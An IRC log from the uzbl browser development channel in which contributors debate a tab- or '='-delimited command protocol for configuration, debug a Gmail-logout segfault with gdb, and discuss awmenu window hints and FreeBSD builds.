10:58 < ruskie> mm the core logic of my ultimate goto is done.. now just need to make all the supporting scripts... mmm
11:06 < DuClare> Hmm..
11:07 < DuClare> http://katalogus.elektrokontha.hu/
11:07 < DuClare> Bad request with uzbl.  Works fine w/firefox :o
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11:09 < Dieterbe> hey rob__ , i have been thinking more
11:10 < Dieterbe> rob__: i think serializing the current state into a binary format may be somewhat ugly, considering we are (at least i am) so fond of cleartext formats and all
11:10 < Dieterbe> rob__: maybe we should just write code that generates the statements to bring any uzbl instance in the state we are in
11:11 < Dieterbe> then we have more freedom to say, export the current state into a new config file, apply adjustments manually etc
11:11 < Dieterbe> ruskie: ultimate goto?
11:13 < ruskie> Dieterbe, yeah remeber... my ultimate location entry thingy...
11:13 < Dieterbe> ruskie: oh, the one with history and better editing?
11:14 < ruskie> the one that can handle regexp in bookmarks and has support for rss bookmarks
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11:17 < Dieterbe> hmm that does not ring any bell here
11:17 < Dieterbe> rss bookmarks btw? o_O
11:20 < ruskie> yeah fetch a rss feed and treat it like a list of bookmarks
11:21 < ruskie> 2009-05-02 22:07:17 <-- Dieterbe around that time we had the discussion
11:22 < ruskie> <ruskie> I want to support plain bookmarks, aliases(el-reg -> http://www.theregister.co.uk), smart bookmarks(fms uzbl -> http://freshmeat.net/search/?q=uzbl&section=projects&Go.x=0&Go.y=0) <-- this bit
11:30 < DuClare> Does uzbl directly use libsoup at any point? :o
11:30 < DuClare> webkit can be built without libsoup-support..
11:33 < DuClare> Hmm, seems to use
11:33 < DuClare> Is curl not an option?
11:36 < Dieterbe> no
11:36 < Dieterbe> libsoup is better in various aspects, and even the webkit have abandonned it in favor of libsoup a few months ago
11:36 < Dieterbe> and yes, we directly use the soup stuff in some places (proxy, cookies,..)
11:39 < Dieterbe> ruskie: i see. just read that discussion again.  i guess we'll see what you're building soon
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11:53 < rob|> morning.
11:53 < Dieterbe> hi rob| 
11:53 < Dieterbe> did you se what i said above?
11:55 < rob|> yes, i did
11:55 < Dieterbe> so, what do you think?
11:55 < rob|> so you suggest crating some sort of list/array that specifies which variables we want to export using what command, right?
11:56 < rob|> *creating
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11:56 < Dieterbe> yeah
11:56 < rob|> well, sounds good to me
11:57 < rob|> at least it's way less hassle than tpl and co.
11:57 < rob|> btw, installing arch on the main box..
11:57 < Dieterbe> :D
12:00 < rob|> i guess an array of structs that hold the command name and a pointer to the correspondet variable would be just enough
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12:01 < Dieterbe> where variable can be something like uzbl.behave.statusbar_format ?
12:02 < rob|> right, a pointer to it
12:02 < rob|> so we keep just one copy of all vars in memory
12:02 < Dieterbe> yeah yeah.. but you already said "pointer to variable"
12:03 < rob|> right
12:03 < Dieterbe> i just confirmed the variable part ;)
12:03 < Dieterbe> yeah i think we should do something like that
12:03 < Dieterbe> we could maybe even use it to parse incoming commands as well
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12:05 < rob|_> hmm, stupid connection
12:05 < Dieterbe> rob|_: we could maybe even use it to parse incoming commands as well
12:06 < rob|_> definitly, the only difference between incoming commands and the config thing should be the file descritor on that we receive the commands
12:07 < Dieterbe> exciting times ahead..
12:10 < rob|_> yeah :)
12:11 < rob|_> so, we should first define the command to variable struct. then we need a send_command function and finally we need to add stdin to the set of watched descriptors
12:15 < Dieterbe> hmm right now. incomming commands (fifo/socket) -> parse_line -> parse_command, which does a lookup in uzbl.behave.commands, which is a hashmap generated from the cmdlist[] struct, which maps command names to internal functions
12:16 < rob|_> yes, that part could probably conceptually stay the way it is
12:17 < Dieterbe> not sure if all those functions just "set 1 variable". some of them may do more complicated things
12:19 < Dieterbe> in other words I'm not sure if we can merge a lot of code
12:22 < rob|_> well, we should start with just 2 or 3 commands. preferably some more complicated onces so we get everything right in the beginning
12:22 < rob|_> *ones
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12:25 < Dieterbe> you feel like giving this a shot?
12:26 < rob|_> yeah, though i'd prefer to not do it completly on my own
12:27 < rob|_> for the protocol, i'm thinking of at least 3 different command types
12:27 < Dieterbe> hmm?
12:27 < rob|_> 1) a SET command used as "SET preference/variablename value"
12:28 < rob|_> 2) a BINDING command for the key bindings
12:28 < rob|_> 3) other commands such as URI, etc.
12:29 < Dieterbe> uri is basically also a variable, though it needs some extra work. so yeah making separate commands for such things is probably a good idea
12:29 < rob|_> we should probably use the config file syntax: "SET foo = bar" so we can easily deifferenciate the lhs and rhs
12:30 < Dieterbe> hey what about doing "SET uri <...>" and then after setting the variables we have function that checks some things, like if (varname == "uri") { do extra stuff}, that way we can do all extra logic for all special variables in one place
12:30 < rob|_> oh and a GET command to easily retrieve the values from scripts
12:31 < Dieterbe> *hs = left/right hand side?
12:31 < rob|_> yes
12:31 < Dieterbe> don't think we need spaces or anything.. just "<command> <variable> <value>"
12:33 < rob|_> yes, though at least the bindings can have spaces in both lhs and rhs
12:33 < Dieterbe> good point
12:33 < rob|_> o _ = foo bar %s baz
12:34 < Dieterbe> considering users can even bind keys to javascript code, that code could contain tabs, newlines,...
12:34 < rob|_> exactly. does the glib config parser take care of those or does it need eveyrthing in one line?
12:35 < rob|_> a protocol for one command per line is definitly easier to implement
12:36 < rob|_> othewise we'd need some END OF COMMAD marker (like in SMTP)
12:37 < Dieterbe> not sure about the config parser
12:38 < Dieterbe> maybe it would be easier to just forbid the use of a certain character (say: tab), then working around it with markers, command delimiters etc
12:38 < Dieterbe> so if you would want to add a JS that has tabs, users should strip them
12:40 < rob|_> hmm, that will lead into hard to locate problems
12:41 < rob|_> i guess some SMTP alike protocol would be better
12:42 < Dieterbe> i don't like that, would look a bit ugly/bloated.
12:42 < Dieterbe> seriously, why don't we just use tabs and forbid the usage of tabs inside keys/values
12:43 < Dieterbe> if people write elaborate scripts, they just have to indent with spaces. problem sovled
12:47 < rob|_> hmm, we could also allow for reading in script files as stated in a feature request on the bug tracker
12:49 < Dieterbe> true
12:50 < Dieterbe> to conclude i would just forbid the tab character and use it as delimiter
12:51 < rob|_> well, i guess it's enough to forbid tabs for the lhs
12:51 < rob|_> if we reach the _first_ tab we know that everthing following belongs to the rhs
12:52 < rob|_> so that one can tabs and everything in it
12:52 < rob|_> *can have
12:52 < Dieterbe> right. good point
12:53 < Dieterbe> this is gonna be a bit more complicated then i thought
12:54 < rob|_> well, defining the protocol is probably the most challeging part of it
12:55 < rob|_> if we have that we just need to formulate it in form of C code ;)
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12:58 < Dieterbe> rob|_: are you familiar with gtk, window properties, dialogs etc?
12:59 < Dieterbe> I'm trying to fix a bug in awmenu but can't find it :(
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12:59 < jelly12gen> well first it had like to say this browser is superb fast
12:59 < jelly12gen> i am using the experimental branch so if somethings break i will report bugs
12:59 < rob|_> i'm not much of a gtk expert
13:00 < Dieterbe> I'm working on awmenu ( http://bbs.archlinux.org/viewtopic.php?id=71453 ) but for some reason my WM always treats it as a "full window" unlike zenity which is a small popup
13:00 < Dieterbe> i've been ploughing through zenities code but can't find the problem :(
13:00 < jelly12gen> wich window manager Dieterbe ?
13:00 < Dieterbe> wmii
13:01 < jelly12gen> aha i guess it's hard to test with al tiling wm
13:01 < Dieterbe> it shouldn't.. because zenity works fine
13:01 < Dieterbe> it floats by default
13:01 < jelly12gen> aha
13:02 < jelly12gen> i have one question , are you going to develop tab support , if you do that are you going to let i be an own process (google chrome )
13:02 < jelly12gen> it would be cool if one tab just fails you could kill it
13:03 < DuClare> jelly12gen, If you have a decent wm, you already have tabs, in theory at least
13:04  * jelly12gen uses xmonad
13:04 < DuClare> There's the tabbed layout
13:05 < jelly12gen> ok
13:06 < ruskie> hmm basic functionality there... still only cmd line for now though...
13:07 < jelly12gen> hmm strange uzbl won't start
13:07 < DuClare> Problems with sockets perhaps?
13:08 < jelly12gen> well i did control - c  to kill it
13:08 < rob|_> Dieterbe: did you try with gtk_window_set_transient_for() and probably use the roor windows as parent
13:08 < DuClare> Check /tmp?
13:08 < rob|_> s/roor/root/
13:08 < jelly12gen> DuClare: remove the socket?
13:08 < DuClare> I'd try that
13:09 < DuClare> Fifo too
13:09 < DuClare> If it is there
13:09 < jelly12gen> it works again
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13:12 < jelly12gen> i have insert mode selected but i still can't type
13:12 < jelly12gen> wait i can my theme just sucks
13:14 < jelly12gen> i made it segfault , wich info should i exactly report
13:15 < jelly12gen> i happend when i logged off in gmail
13:15 < ruskie> try to reproduce first
13:15 < DuClare> Version, what were you doing, can you reproduce it, etc...  but such isn't very useful if we can't reproduce.
13:15 < jelly12gen> ok let me try that
13:16 < DuClare> If you want to be really helpful, try using a debugger.  That'll help catch the problem and it'll be easier to find the way to reproduce
13:16 < ruskie> if you can reproduce try it with: gdb uzbl then run then when it segfaults thread apply all bt
13:17 < jelly12gen> aha yeah i know gdb  , i have done some assembly programming but none C
13:18 < jelly12gen> can you run gdb while specifing an url ?
13:18 < ruskie> just lanuch it then in uzbl do: o url[enter]
13:19 < jelly12gen> well when i just launch it it fails
13:19 < jelly12gen> then there is no window draw
13:19 < jelly12gen> while uzbl --uri=foo.com works
13:19 < jelly12gen> wait i removed the socks
13:23 < jelly12gen> ok yes it does segfault with gdb
13:33 < rob|_> so, log into gmail, sign out -> segfault. right?
13:35 < rob|_> oh btw, you can copy&paste into/from the statusbar (will also work for commands)
13:37 < DuClare> How can you copy from sb?
13:38 < rob|_> copying is mouse only for now
13:38 < rob|_> pasting can also be done with shift-ins
13:38 < DuClare> Oh, right.  I never even thinked of pointing at the sb with mouse..
13:40 < jelly12gen> rob|_: yeah log in to gmail , sign out -> segfault i reported a bug
13:40 < rob|_> jelly12gen: strange, works for me
13:40 < jelly12gen> hmm very strange
13:40 < jelly12gen> maybe my config is not good
13:40 < jelly12gen> also follow link here doesnt work
13:41 < jelly12gen> command "follow_link_here" not understood. ignoring.
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13:42 < DuClare> Hmm, I get the segfault too.
13:43 < jelly12gen> i run i686
13:43 < jelly12gen> and the experimental build
13:43 < rob|_> hmm, could you check with sampleconfig-dev just to make sure?
13:43 < jelly12gen> will do
13:45 < hrist> is it possible do build a static uzbl binary? without dependencies on other libraries?
13:46 < jouz> jelly12gen: linkfollowing is now implemented via external scripts
13:46 < jelly12gen> i ah will take all the scripts from github
13:46 < rob|_> hrist: yes, though you'd need static versions of the libraries in charge
13:47 < jouz> look at a recent sampleconfig, the linkfollow script is hardcoded into it
13:47 < DuClare> Geh.  Ran under gdb, no segfault this time.
13:47 < jelly12gen> hm strange
13:49 < rob|_> hrist: i bet that would turn uzbl into a multi megabyte monster, cosidering all the gtk stuff statically linked in
13:50 < jelly12gen> ok i took al the plugins , and scripts from -dev
13:50 < jelly12gen> still follow link doesnt work wich script do i need for that?
13:50 < rob|_> none
13:51 < rob|_> just hit "F" and the links should be numbered automagically
13:51 < jelly12gen> well it still segfaults by logging out with gmail
13:52 < jelly12gen> rob|_: command "follow_link_new_tab" not understood. ignoring. i use the uzbl-experimental-git  version from aur
13:53 < DuClare> Mehhh.. ran again without gdb, and it segfaulted .. started outside gdb, attached gdb to the running process and no segfault <,<
13:53 < DuClare> This one doesn't want to get debugged
13:54 < rob|_> jelly12gen: and the exact sampleconfig-dev from there?
13:54 < DuClare> Uh. Program received signal SIGPIPE, Broken pipe.
13:54 < jelly12gen> i use the exact sampleconfig-dev
13:54 < DuClare> Still, can't reproduce the segfault under gdb
13:55 < jelly12gen> DuClare: http://pastebin.com/m779f20e1
13:56 < rob|_> jelly12gen: that's not the latest sampleconfig-dev
13:56 < jelly12gen> rob|_: no ok
13:56 < jelly12gen> let me try it with the dev config
13:57 < rob|_> http://github.com/Dieterbe/uzbl/blob/e4f0286360d99356e1951ade67f24e12ac36f452/examples/configs/sampleconfig-dev
13:57 < DuClare> Ewww..
13:57 < DuClare> Allowed core dumps, started witout gdb.  No segfault <,<
13:57 < jelly12gen> DuClare: ok no segfault anymore
13:57 < Dieterbe> anyone who knows how to get the root window in gtk?
14:00 < rob|_> Dieterbe: GDK_ROOT_PARENT iirc
14:01 < jelly12gen> wow even mplayer works nice :)
14:02 < _19LIONZ> Dieterbe: considering the awmenu issue
14:02 < _19LIONZ> Dieterbe: I don't know If you can solve it with gtk stuff
14:03 < _19LIONZ> Dieterbe: but I know that X can assign many properties to windows
14:03 < Dieterbe> yeah i'm working in that direction now
14:03 < Dieterbe> they are window type hints (netwm spec)
14:03 < _19LIONZ> Dieterbe: some of those properties are respected by tiling WMs
14:03 < _19LIONZ> Dieterbe: so they are not tiled or they are on top
14:03 < hrist> rob|_: I wouldn't care about the size of the binary :P
14:04 < rob|_> WM_TRANSIENT_FOR should be generally supported
14:04 < _19LIONZ> Dieterbe: you're going the right direction then
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14:12 < DuClare> What does dmenu do?
14:12 < DuClare> Wrt X props
14:14 < Dieterbe> what excatly do you mean?
14:14 < Dieterbe> i think it draws its stuff on the root window
14:14 < DuClare> Oh
14:14 < rob|_> dmeu sets override_redirect (just as dzen does)
14:16 < DuClare> I can't reproduce the segfault if I run uzbl from a terminal or vc
14:16 < DuClare> One more thing I could try...
14:16 < DuClare> Screen
14:21 < DuClare> Meh.  No segfault.
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14:28 < totoloco> hola
14:29 < DuClare> Hi
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14:31 < totoloco> can i compile uzbl in freebsd?
14:31 < totoloco> s/compile/make/
14:32 < ty72> The Makefile is very linuxcentric...
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14:58 < Dieterbe> ty72: feel free to provide a patch for the Makefile :)
14:58 < Dieterbe> rob|_: i'll give a look at how we can integrate stdin in the mix, can you define the structs? I think you have a clearer view on that then me
14:59 < ty72> Dieterbe, I'm working on it :D
14:59  * ty72 :$
15:00 < totoloco> http://img254.imageshack.us/img254/8123/200905090955121024x768s.png < uzbl sshot
15:04 < rob|_> Dieterbe: yes, though i think we should agree on the protocol and write it down
15:04 < rob|_> then we can decide about the best methods to actually handle that in code
15:04 < Dieterbe> rob|_: command<tab>key<tab><value>
15:05 < rob|_> commands being, SET, (GET,) BINDING and the current ones, right?
15:06 < ty72> uzbl only compile with >= libwebkit 1.1.4  ??
15:06 < Dieterbe> ty72: yea
15:07 < ty72> hmm, the freebsd port is 1.0.1...
15:07 < ty72> :S
15:08 < Dieterbe> rob|_: well, I'll go over our current commands and see.  It would be convenient if we could restrict the amount of commands (eg try to use "SET" for as much things as possible).  for things that require additional logic (such as changing uri) I would rather also use SET syntax, but just after the variable has been set, check the name of the variable and perform the additional logic if needed; instead of having separate functions for all of them
15:09 < rob|_> sounds reasoable
15:09 < rob|_> +n
15:11 < DuClare> I'd write a minimal scheme-like language
15:12 < Dieterbe> ..being so minimal it has no specific relation to scheme anymore ?
15:12 < DuClare> Well, yeah
15:12 < DuClare> Let me rephrase
15:13 < DuClare> I'd write a minimal lisp-1
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15:13 < Dieterbe> what's that?
15:13 < DuClare> Lisp with one namespace
15:14 < DuClare> (Scheme is a Lisp-1)
15:15 < DuClare> CL is a Lisp-2.  It has its own namespace for functions.
15:18 < Dieterbe> rob|_: hmm pretty much all of our current actions are really "actions" to do something, and cannot be represented by a variable, so i'ld keep all of them, except insert_mode and toggle_status. Maybe we should have, like "SET" also "TOGGLE" for all boolean variables
15:19 < Dieterbe> rob|_: btw, for all this work, i suggest we use a new branch called config-refactor
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15:45 < Dieterbe> rob|_: i'm writing a spec and converting the sample config. stay tuned
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16:05 < Dieterbe> rob|_: this commit includes written documentation + updated config file. http://github.com/Dieterbe/uzbl/commit/8d714bb94fc900cee4fa91048e5c91a67e66a224
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17:14 < github> uzbl: Dieter Plaetinck config-refactor SHA1-4cd06fb
17:14 < github> support getting commands from stdin
17:14 < github> http://bit.ly/5bbAE
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18:21 < rob|_> Dieterbe: looks good, though i think we needn't expose the internal structure to the config file but either associate the variables with a string
18:21 < rob|_> that's required anyways
18:23 < rob|_> i.e.:  "set status_format<tab>fooo bar" and internally we look up the which pointer matches "status_format"
18:25 < rob|_> for that a hash seems pretty ideal, too
18:25 < rob|_> key="variable description strin" value="pointer to actual variable"
18:32 < Dieterbe> hmm yeah
18:33 < Dieterbe> because we probably couldn't use a string like "uzbl.behave.status_format" "directly" anyway, or would that be possible?
18:37 < rob|_> no
18:37 < Dieterbe> ok, then we might as well simplify the strings like you say :)
18:40 < Dieterbe> my stdin thingie doesn't work 100% btw
18:41 < Dieterbe> the last command is always ignored and when i launch it without sending anything to stdin, sometimes it hangs during startup, and sometimes not
18:42 < rob|_> will look through that, though not today.
18:47 < Dieterbe> sure. np
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23:14 < Dieterbe> hey dudes
23:14 < DuClare> Hi o/
23:14 < DuClare> 22'39'54 <@zenzelezz> what the heck... search for "uzbl" on Google gives me a really weird result page
23:14 < DuClare> 22'44'35 <@zenzelezz> the search result page loads, then after a couple of seconds changes background color,  result titles get moved around (centered), and if I scroll down on the page, I seem to be  getting really weird random junk... almost as if it's reading video memory; since I can  sometimes see parts of windows from other virtual desktops o_O
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23:14 < DuClare> :>
23:15 < Dieterbe> my home server (== irssi host) broke down yesterday so i had to install a new box :) Can anyone post a log for everything that has been said since i went offline, so i can catch up? :P
23:15 < DuClare> Yup
23:15 < Dieterbe> DuClare: is that person using uzbl to search on google?
23:16 < DuClare> Nope
23:17 < DuClare> http://hikari.serveftp.org/uzbl.log
23:17 < Dieterbe> heh.. well i can't reproduce it in firefox.. seems like a very, very, very unusual problem..
23:17 < DuClare> Yeah.  Maybe it's a sign. :)
23:19 < Dieterbe> DuClare: well i agree, any arbitrary amount of whitespace would be nicer (so you could decently align the commands in config files). but it would be harder to parse
23:19 < DuClare> How hard is hard, how much code is too much? :)
23:19 < Dieterbe> :)
23:20 < DuClare> I could write something perhaps, though I have distanced from C since I turned to the dark^Wfunctional side :]
23:21 < DuClare> (Read: it won't look pretty)
23:21 < Dieterbe> the problem would be though, we would need to define a fixed number of parameters per command, so that we can still parse our stuff
23:21 < DuClare> Hm
23:21 < DuClare> Unless we quote parameters
23:22 < DuClare> In which case all ws not in quotes can be skipped
23:22 < Dieterbe> no no no.. that becomes really messy
23:22 < Dieterbe> because then you would need to start escaping quotes
23:22 < DuClare> I guess
23:22 < DuClare> Well
23:22 < DuClare> Yeah.  Maybe.
23:23 < Dieterbe> but either way, for now i would just stick to tabs
23:23 < DuClare> That also means we have to ban tabs altogether, or we'll eventually have to write some escape system anyway
23:23 < DuClare> Yup
23:23 < Dieterbe> it may not be perfect, but it works and is not too complicated
23:23 < DuClare> I agree
23:23 < Dieterbe> a bit of pragmatism every once in a while doesn't hurt :)
23:23 < Dieterbe> @peak
23:23 < DuClare> Better not introduce too much cruft until it really *is* needed. :)
23:23 < dev_null> Dieterbe: Toy-Food set a record of 40 people in #uzbl on May 09, 2009 at 12:37 PM CET. You'll need 4 more people to break the peak.
23:23 < Dieterbe> nice
23:24 < Dieterbe> yep
23:24 < Toy-Food> I DID!?!?
23:24 < Toy-Food> I'M FAMOUS.
23:24 < Dieterbe> :D
23:24 < Dieterbe> !erase peak :)
23:24 < Toy-Food> That's gotta be some kind of 360 achievement.
23:25 < Dieterbe> 17:22 < dunz0r> wohoo :D I made a url-yanker
23:25 < Dieterbe> 17:23 < dunz0r> echo -n "$6" | xclip
23:25 < Dieterbe> 17:23 < dunz0r> http://github.com/
23:25 < Dieterbe> 17:23 < dunz0r> it works even :D
23:25 < Dieterbe> 17:23 < dunz0r> awesome
23:25 < Dieterbe> cool :)
23:28 < DuClare> Hm.
23:28 < DuClare> Does webkit use libsoup for authentication?
23:32 < Dieterbe> dunno
23:36 < rob|> the only problem with tabs is that it's somewhat unnatural to type them in the shell
23:36 < Dieterbe> in what shell?
23:37 < rob|> well, in every shell
23:38 < Dieterbe> i don't see theproblem. commands will usually be programically entered (through scripts) or through the config file
23:38 < rob|> echo "set foo<ctrl+v><tab>bar" > fifo
23:38 < DuClare> It goes for text editors too
23:39 < DuClare> Emacs by default indents with tab.  And with vim, I use a completion script which activates if you hit tab directly after a non-ws character
23:40 < DuClare> And I've set them to default to spaces anyway.. ;/
23:41 < Dieterbe> what does indentation have to do with the commands? when you're writing a config file you don't need any indentation
23:42 < rob|> anyways, i fear tabs will introduce quite a bit of hassle and questions from users cause they are visually hard to distinguish from spaces
23:43 < rob|> not the best choice from a users persepective imo
23:45 < DuClare> Dieterbe, Tab is set to indent, not to insert a tab character
23:45 < DuClare> It calls a function that indents the current line based on the previous line
23:49 < rob|> i'd rather go for a special delimiter that musn't be used in command names or key binding
23:49 < rob|> s/key//
23:50 < DuClare> / will appear in scripts, and I could imagine somebody wanting to start commands with
23:53 < Dieterbe> DuClare: are you saying you can only use tab characters for indentation purposes? that seems really far fetched
23:54 < DuClare> No
23:54 < DuClare> I'm saying that by default, when you press tab, you're not inserting a tab character
23:55 < DuClare> :)
23:55 < rob|> i propose "=", that way we could keep the syntax exactly as it is now
23:55 < rob|> like "SET socket_dir = foo"
23:56 < rob|> and probably use glib's regex fetures to build an efficient parser
23:57 < rob|> like precompiling the regex and just execute it on all command lines
23:57 < rob|> so we can be rather tolerant to spaces arounf the commands and such
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00:00 < _19LIONZ_> So parameters 1 & 2 won't cause problems
00:01 < _19LIONZ_> Why not just "parameter 3"
00:01 < _19LIONZ_> ?
00:02 < rob|> hmm, not sure what you mean
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22:33 < _19LIONZ_> parameter one (set,unset) is defined by uzbl = no problem
22:33 < _19LIONZ_> parameter 2 same as one
22:34 < _19LIONZ_> so no spaces or any cause of problems , right ?
22:34 < rob|> no, the second one can be user defined, see the bindings
22:34 < rob|> BIND o _ = bla bla
22:34 < _19LIONZ_> oh , then forget my suggestion
22:34 < DuClare> Line based config syntax where each item (command or param) is on its own line.  Commands delimited by two empty lines.  Let the user write a config transformer if he wants his own syntax :>
22:35 < _19LIONZ_> so , what charachter can't be used in urls ?
22:36 < DuClare> SET\nkey\nval\n\n
22:36  * Dieterbe finds multiple lines per command ugly
22:36 < _19LIONZ_> oh , scratch that too . one can search with any charachter
22:37 < _19LIONZ_> what about a [b] [c]
22:38 < DuClare> Dieterbe, Newline is a good delimiter though.  And you can script a custom format when you know what chars you'll use
22:38 < rob|> that way you'd need to count the brackets
22:38 < _19LIONZ_> man , this is a dilema
22:38 < DuClare> Hehe
22:39 < _19LIONZ_> use xml then
22:39 < _19LIONZ_> :)
22:39 < rob|> *brr*
22:39 < DuClare> Yuck.
22:39 < DuClare> Too verbose.
22:39 < DuClare> Though..
22:40 < DuClare> I have a S-expressios->xml transformer.  I'd choose to write my cfg in lisp anyway :]
22:40 < DuClare> typos..
22:40 < DuClare> Still adjusting to my new keyboard.
22:42 < _19LIONZ_> Dieterbe: funny thing , my CRT monitor died yesterday too
22:42 < _19LIONZ_> Dieterbe: so ,I'm using an older one
22:42 < Dieterbe> ugh
22:42 < Dieterbe> i would never use crt's anymore. not good for the eyes :)
22:42 < _19LIONZ_> Starting to feel tempted to by LCD monitor
22:43 < _19LIONZ_> but I'm a "If it works , don't break it" guy
22:43 < _19LIONZ_> back on topic
22:44 < _19LIONZ_> seems like you would have to use some markup language if you want a perfect solution
22:44 < _19LIONZ_> technically speaking
22:46 < DuClare> Yup, but most of them are kinda overkill for what use we have (for the time being)
22:47 < Dieterbe> since glib has things for so many things, maybe it has something for this thing
22:47 < DuClare> Hmm, maybe
22:47 < rob|> can't we just use glib's config file parser on strings?
22:48 < DuClare> But what's the future?  Will there be a non-gtk-alternative that works with webkit?  Would people still want to use glib?
22:49 < Dieterbe> my first concern is making uzbl something usable, after that comes making the rough egdes more perfect.  after that comes worrying about the "bloat" that people seem to think gtk/webkit is.
22:50 < Dieterbe> s/people/some people/
22:50 < DuClare> Right
22:51 < DuClare> So stick with tabs and reconsider it later?
22:53 < Dieterbe> well, we've been discussing about this for several ideas. many people have said their thoughts/ideas but imho we haven't figured out anything better then tabs
22:53 < Dieterbe> i will try to find some existing libraries (such as glib) who might be able to help
22:54 < Dieterbe> because having to write our own syntax parser ... hopefully can be avoided
22:55 < _19LIONZ_> If it's up to me , I'll use lua
22:56 < Dieterbe> note that the whole idea is "individual commands". the same commands that you write into the pipe/socket should be put in the config
22:56 < DuClare> Yup.
22:57 < Dieterbe> the config is not to be read and parsed, rather the config is to be written into stdin, like any other bunch of commands
22:57 < Dieterbe> that's one reason i find multi-line commands not a good option
22:58 < rob|> well, we could just make the delimiter a #define and let the user decide what he wants ;)
22:58 < rob|> defualting to tab
22:59 < rob|> but that does introduce even more potential for weird errors
22:59 < rob|> like using configs written for different delimiters and such
22:59 < Dieterbe> yeah.. that would be not good
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23:01 < Dieterbe> with tabs there are only 2 "problems": you cannot always see afterwards whether a character is a tab or one or more spaces.  But I don't find this much a problem. just pay attention when you're writing your config and once it's written, the characters will not magically change.
23:01 < Dieterbe> the other one was that you cannot perfectly align all statements, but that's something quite minor imho
23:01 < Dieterbe> just a visual thing
23:05 < rob|> yep, but was the problem with '=' as opposed to tabs?
23:05 < rob|> currently is just like that anyways
23:05 < rob|> *it's
23:06 < DuClare> 23'58'34 < rob|> well, we could just make the delimiter a #define and let the user decide what he wants ;)
23:06 < DuClare> Actually, I'd love that ;)
23:07 < DuClare> but
23:07 < DuClare> No use for those who want to install via packages
23:10 < Dieterbe> let's not do that.. even if you could define it at runtime, it would make exchanging configs/commands between people troublesome
23:11 < Dieterbe> rob|: hmm i don't think there was a problem with it. only that you could use '=' in javascript code so it could appear in the last argument.  thus basically the same problem as with tabs
23:12 < Dieterbe> you know what.  maybe we should make javascript code only available through separate files
23:12 < rob|> no, the delimiter is not a problem in the last (third) paramter
23:12 < Dieterbe> that would make our lives easier
23:12 < rob|> just in the first and second one
23:13 < Dieterbe> yeah i know. same "problem" like with tabs (don't take the word problem literally)
23:13 < rob|> ah ok
23:14 < rob|> i'd say let's just stick to the current syntax, i.e. use =
23:15 < rob|> then write a regex to match the format and the individual functions can use whatever method to parse their arguments
23:16 < DuClare> Better than tabs, if you ask me.
23:16 < Dieterbe> "current syntax" = a config file, it is not command-style
23:16 < Dieterbe> or do you mean commands as we discussed but just use '=' as delimiters
23:16 < rob|> well, that's nitpicking ;)
23:16 < rob|> yes, exactly
23:17 < Dieterbe> just look at this http://github.com/Dieterbe/uzbl/blob/8d714bb94fc900cee4fa91048e5c91a67e66a224/examples/configs/sampleconfig-dev
23:17 < Dieterbe> you would take that, but replace the tabs with '=' ?
23:17 < DuClare> Dieterbe, Aren't we talking about aesthetics when you say it's not "command style" :)
23:17 < Dieterbe> DuClare: no, it's absolutely something functional
23:18 < Dieterbe> DuClare: you cannot pipe 'k = spawn <foo>' into uzbl and expect it to know it is a binding.  you need a command to tell it "i want to define a binding"
23:18 < rob|> Dieterbe: yes, exactly like your sample but with '='
23:18 < DuClare> Right
23:19 < DuClare> .. or stick with tabs. o_O
23:19 < Dieterbe> rob|: well tbh, i find tabs slightly better, because white space gives a better oversight (the "=" characters would get a bit in the way when inspecting your config file) + with tabs, your commands are somewhat aligned. not so with '='
23:20 < Dieterbe> but it's bedtime for me now :) see you later guys
23:20 < DuClare> Dieterbe, One thing.  Will we actually pipe the config to the process?
23:20 < rob|> well, if you use a regex to parse the command you can write it in such a way that it just eats all non-required spaces
23:20 < Dieterbe> DuClare: yeah, that's the plan
23:20 < DuClare> Dieterbe, Or will it still have to know about the file?
23:20 < DuClare> Hmm, okay
23:20 < DuClare> That's good
23:21 < Dieterbe> rob|: oh.. right. something like : bind   =    o _      = http:///google/search/%s
23:21 < Dieterbe> rob|: it would know that the spaces directly adjacent to the '=' can be ignored?
23:22 < DuClare> It'll have to store the configuration and pipe it to new processes as well
23:22 < Dieterbe> i like that. it's a good idea
23:22 < rob|> Dieterbe: "BIND     o _    = foo"
23:22 < Dieterbe> DuClare: that's the plan :)
23:23 < DuClare> Yup, great.  Then you use tabs and I use S-expressions. :)
23:23 < Dieterbe> rob|: sounds good actually
23:23 < rob|> ^([A-Z]*)\s*([a-z<and all chars allowed in commands>.*)\s* = .*
23:23 < Dieterbe> we'll continue discussing later
23:23 < rob|> pseudo regex
23:23 < Dieterbe> see you
23:23 < DuClare> Sleep well Dieterbe
23:24 < rob|> bye dieter
23:25 < DuClare> I'll turn in as well →
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03:17 < log[pop]> Boring
03:19 < log[pop]> WAKE UP PEOPLE! RAWRAWRAWRAWRAWRAWRARWARWARWARWARARWARWRWAWRAWRAWR
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09:11 < Dieterbe> morning
09:23 < aSuKar> morninh
09:23 < aSuKar> s/h/g
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09:45 < rob|_> g'morning.
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10:13 < rob|_> been using uzbl as my main browser for the last couple of days and besides some leaks it feels really nice and usable
10:14 < rob|_> http://omploader.org/vMW5xeg  - even with urxvt's url launcher things go really well
10:16 < Dieterbe> rob|_: nice. personally i don't use it "for real" yet. i want to fix awmenu first + i need working cookies. i don't want to login over and over again
10:16 < Dieterbe> oh yeah, and "multiple instances management" :)
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10:18 < rob|> cookies are not so much of an showstopper for me, but managing multiple instances in a predictable way would be nice though
10:22 < Dieterbe> yeah i have some ideas for that
10:24 < rob|> i'll merge your config-refactor branch later today and start hacking a bit on it, let's see how far we can get
10:25 < rob|> hopefully there'll be something working by the end of this week
10:26 < DuClare> Morning.
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10:27 < rob|> hey DuClare
10:27 < Dieterbe> rob|: okay, but personally i find the config refactor stuff less pressing then cookies/awmenu/multiple instances management
10:29 < rob|> ok, though i find myself using either the o/gg bindings or occasionally the u one most of the time
10:29 < Dieterbe> dmenu was a good starting point, but awmenu will be better :)
10:33 < DuClare> Hmm.  I might have use for awmenu outside uzbl too. :)
10:34 < dpb> awmenu? is that the menu awesome wm uses?
10:34 < Dieterbe> DuClare: that what it is designed for ;)
10:35 < DuClare> dpb, http://github.com/Dieterbe/awmenu/tree/0c4a82130dd370738502399436d550d98d3e9ba9
10:35 < Dieterbe> dpb: bbs.archlinux.org/viewtopic.php?id=71453
10:43 < dpb> Sounds like something from Awesome though. Bad name imo.
10:43 < dpb> ah, awesomemenu is in the description too..
10:51 < Dieterbe> in the description? i don't remember writing anything about it. heck i didn't even know awesome had it's own menu until now
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10:54 < dpb> oops, awesomebar it said.
10:54 < Dieterbe> yeah, with which i mean the awesomebar from firefox, which is truly awesome, unlike the awesome desktop environment
10:55 < dpb> ahh, that you meant.
